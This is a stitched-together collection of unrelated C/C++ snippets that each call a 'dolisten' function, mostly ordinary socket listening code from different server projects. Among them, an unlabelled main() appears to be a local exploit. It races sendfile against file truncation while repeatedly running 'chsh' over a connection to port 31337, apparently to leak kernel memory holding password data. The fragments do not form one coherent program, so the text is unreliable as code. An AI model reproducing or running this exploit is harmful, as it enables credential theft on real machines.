static void setaddrs (const vec<u_int16_t> *pv) { for (u_int i = 0; i < pv->size (); i++) { sockaddr_in *sinp = New sockaddr_in; bzero (sinp, sizeof (*sinp)); sinp->sin_family = AF_INET; sinp->sin_port = htons ((*pv)[i]); sinp->sin_addr.s_addr = htonl (INADDR_ANY); listenaddrs.push_back (reinterpret_cast<sockaddr *> (sinp)); } dolisten (); }
int main() { int input_fd,fd,s,k; struct stat file_info; off_t offset = 0; FILE *f; int i=0; struct sockaddr_in addr; char st[]="A"; f=fopen("sendfile1", "w"); for (i=0; i!=64000000; i++) { fwrite(st, 1, 1, f); } fclose(f); input_fd = open ("sendfile1", O_RDWR); fstat (input_fd, &file_info); if (fork() != 0) { sleep(2); s = socket(PF_INET, SOCK_STREAM, 0); addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(31337); addr.sin_family = AF_INET; if (connect(s, (struct sockaddr*) &addr, sizeof(addr)) == -1) { perror("connect() failed"); return 2; } if (fork() != 0) { if (sendfile (input_fd, s, offset, 64000000, NULL, NULL, 0) == -1) { perror("sendfile()"); return -1; } } else { f=fopen("sendfile1", "w"); fclose(f); for (k=0;k!=10;k++) system("/usr/bin/chsh -s /bin/sh"); wait(); } } else { dolisten(); wait(); } return 0; }
static void launchservers () { for (sfssrv *nsp, *sp = services.first; sp; sp = nsp) { nsp = services.next (sp); sp->launch (); } if (listenaddrs.empty () && sfs_defport) { sockaddr_in *sinp = New sockaddr_in; bzero (sinp, sizeof (*sinp)); sinp->sin_family = AF_INET; sinp->sin_port = htons (SFS_PORT); sinp->sin_addr.s_addr = htonl (INADDR_ANY); listenaddrs.push_back (reinterpret_cast<sockaddr *> (sinp)); } if (listenaddrs.empty ()) whatport (sfshostname (), wrap (setaddrs)); else dolisten (); }
int silly_socket_listen(const char *ip, uint16_t port, int backlog) { int fd; struct socket *s; struct cmdpacket cmd; fd = dolisten(ip, port, backlog); if (fd < 0) return fd; s = allocsocket(SSOCKET, STYPE_ALLOCED, PROTOCOL_TCP); if (s == NULL) { fprintf(stderr, "[socket] listen %s:%d:%d allocsocket fail\n", ip, port, backlog); close(fd); return -1; } s->fd = fd; cmd.type = 'L'; cmd.u.listen.sid = s->sid; pipe_blockwrite(SSOCKET->ctrlsendfd, &cmd); return s->sid; }
// listen, for server int net_listen(struct net_pool* np, char* host, int port) { log_debug("listen: host = %s, port = %d\n", host, port); int listenfd = dolisten(host, port, DEFAULT_BACKLOG); if(listenfd < 0) { return -1; } struct net_socket* ns = net_socket_new(np, listenfd, true); if(ns == NULL) { socket_close(listenfd); log_error("listen failure"); return -1; } ns->status = SOCKET_STATUS_LISTEN; return ns->id; }